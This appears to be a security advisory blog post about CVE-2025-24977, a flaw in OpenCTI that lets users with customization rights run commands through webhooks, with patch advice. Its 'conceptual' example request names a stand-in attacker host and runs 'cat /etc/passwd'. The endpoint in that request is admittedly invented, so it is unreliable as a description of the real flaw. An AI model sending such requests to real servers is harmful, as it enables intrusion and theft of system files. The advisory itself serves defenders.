CVE-2025-24977: Critical Vulnerability in OpenCTI Cyber Threat Intelligence Platform

Overview

This blog post discusses a critical vulnerability labeled as CVE-2025-24977 affecting the OpenCTI platform, a widely used open cyber threat intelligence (CTI) system. The vulnerability, present in versions prior to 6.4.11, allows any user with the ‘manage customizations’ capability to execute arbitrary commands on the server where OpenCTI is hosted, potentially leading to a complete system compromise or data exposure. This is a grave security flaw considering the sensitive nature of data handled by OpenCTI systems and the potential for further attacks on the underlying infrastructure.

Vulnerability Summary

CVE ID: CVE-2025-24977
Severity: Critical (9.1/10 CVSS score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Complete system compromise, Access to internal server-side secrets, Potential for further attacks

Affected Products

Product | Affected Versions

OpenCTI | Versions prior to 6.4.11

How the Exploit Works

The exploit takes advantage of a flaw in the ‘manage customizations’ capability of OpenCTI. A malicious user could misuse the web-hooks to execute commands on the underlying server where OpenCTI is hosted. This can provide the user with a root shell inside a container, enabling unrestricted access to the server environment, potentially leading to further attacks and exposures.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. The malicious user sends a specially crafted HTTP POST request to a vulnerable endpoint on the OpenCTI server.

POST /api/webhook HTTP/1.1
Host: vulnerable-opencti.example.com
Content-Type: application/json
{
"webhook_url": "http://malicious-user.com/execute-command",
"command": "cat /etc/passwd"
}

In this example, the malicious user attempts to read the server’s password file, potentially revealing sensitive information. It’s important to note that actual exploit code would likely be much more sophisticated, taking advantage of specific system configurations and vulnerabilities.

Mitigation Guidance

Users are strongly advised to apply the vendor patch by upgrading to OpenCTI version 6.4.11 or newer, which addresses this vulnerability. In the absence of a patch, temporary mitigation can be achieved using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block malicious activity. However, these measures are not a substitute for patching the system and ensuring that it is up to date with the latest security updates.